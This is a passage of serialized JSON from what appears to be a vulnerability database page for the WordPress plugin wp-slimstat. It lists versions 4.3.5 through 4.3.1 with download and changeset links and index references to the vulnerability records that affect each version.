patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3973,"download_url":3974,"svn_tag_url":3975,"released_at":39,"has_diff":54,"diff_files_changed":3976,"diff_lines":39,"trac_diff_url":3977,"vulnerabilities":3978,"is_current":54},"4.3.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.3.5.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.3.5\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.3.4&new_path=%2Fwp-slimstat%2Ftags%2F4.3.5",[3979,3980,3981,3982,3983,3984,3985,3986,3987,3988,3989,3990,3991,3992,3993,3994,3995,3996,3997,3998],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4000,"download_url":4001,"svn_tag_url":4002,"released_at":39,"has_diff":54,"diff_files_changed":4003,"diff_lines":39,"trac_diff_url":4004,"vulnerabilities":4005,"is_current":54},"4.3.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.3.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.3.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.3.3&new_path=%2Fwp-slimstat%2Ftags%2F4.3.4",[4006,4007,4008,4009,4010,4011,4012,4013,4014,4015,4016,4017,4018,4019,4020,4021,4022,4023,4024,4025],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4027,"download_url":4028,"svn_tag_url":4029,"released_at":39,"has_diff":54,"diff_files_changed":4030,"diff_lines":39,"trac_diff_url":4031,"vulnerabilities":4032,"is_current":54},"4.3.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.3.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.3.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.3.2.3&new_path=%2Fwp-slimstat%2Ftags%2F4.3.3",[4033,4034,4035,4036,4037,4038,4039,4040,4041,4042,4043,4044,4045,4046,4047,4048,4049,4050,4051,4052],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4054,"download_url":4055,"svn_tag_url":4056,"released_at":39,"has_diff":54,"diff_files_changed":4057,"diff_lines":39,"trac_diff_url":4058,"vulnerabilities":4059,"is_current":54},"4.3.2.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.3.2.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.3.2.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.3.2.2&new_path=%2Fwp-slimstat%2Ftags%2F4.3.2.3",[4060,4061,4062,4063,4064,4065,4066,4067,4068,4069,4070,4071,4072,4073,4074,4075,4076,4077,4078,4079],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4081,"download_url":4082,"svn_tag_url":4083,"released_at":39,"has_diff":54,"diff_files_changed":4084,"diff_lines":39,"trac_diff_url":4085,"vulnerabilities":4086,"is_current":54},"4.3.2.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.3.2.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.3.2.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.3.2.1&new_path=%2Fwp-slimstat%2Ftags%2F4.3.2.2",[4087,4088,4089,4090,4091,4092,4093,4094,4095,4096,4097,4098,4099,4100,4101,4102,4103,4104,4105,4106],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4108,"download_url":4109,"svn_tag_url":4110,"released_at":39,"has_diff":54,"diff_files_changed":4111,"diff_lines":39,"trac_diff_url":4112,"vulnerabilities":4113,"is_current":54},"4.3.2.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.3.2.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.3.2.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.3.2&new_path=%2Fwp-slimstat%2Ftags%2F4.3.2.1",[4114,4115,4116,4117,4118,4119,4120,4121,4122,4123,4124,4125,4126,4127,4128,4129,4130,4131,4132,4133],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4135,"download_url":4136,"svn_tag_url":4137,"released_at":39,"has_diff":54,"diff_files_changed":4138,"diff_lines":39,"trac_diff_url":4139,"vulnerabilities":4140,"is_current":54},"4.3.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.3.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.3.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.3.1.2&new_path=%2Fwp-slimstat%2Ftags%2F4.3.2",[4141,4142,4143,4144,4145,4146,4147,4148,4149,4150,4151,4152,4153,4154,4155,4156,4157,4158,4159,4160],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4162,"download_url":4163,"svn_tag_url":4164,"released_at":39,"has_diff":54,"diff_files_changed":4165,"diff_lines":39,"trac_diff_url":4166,"vulnerabilities":4167,"is_current":54},"4.3.1.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.3.1.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.3.1.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.3.1.1&new_path=%2Fwp-slimstat%2Ftags%2F4.3.1.2",[4168,4169,4170,4171,4172,4173,4174,4175,4176,4177,4178,4179,4180,4181,4182,4183,4184,4185,4186,4187],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4189,"download_url":4190,"svn_tag_url":4191,"released_at":39,"has_diff":54,"diff_files_changed":4192,"diff_lines":39,"trac_diff_url":4193,"vulnerabilities":4194,"is_current":54},"4.3.1.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.3.1.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.3.1.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.3.1&new_path=%2Fwp-slimstat%2Ftags%2F4.3.1.1",[4195,4196,4197,4198,4199,4200,4201,4202,4203,4204,4205,4206,4207,4208,4209,4210,4211,4212,4213,4214],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":4216,"download_url":4217,"svn_tag_url":4218,"released_at":39,"has_diff":54,"diff_files_changed":4219,"diff_lines":39,"trac_diff_url":4220,"vulnerabilities":4221,"is_current":54},"4.3.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.3.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.3.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.3&new_path=%2Fwp-slimstat%2Ftags%2F4.3.1",[4222,4223,4224,4225,4226,4227,4228,4229,4230,4231,4232,4233,4234,4235,4236,4237,4238,4239,4240,4241],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"c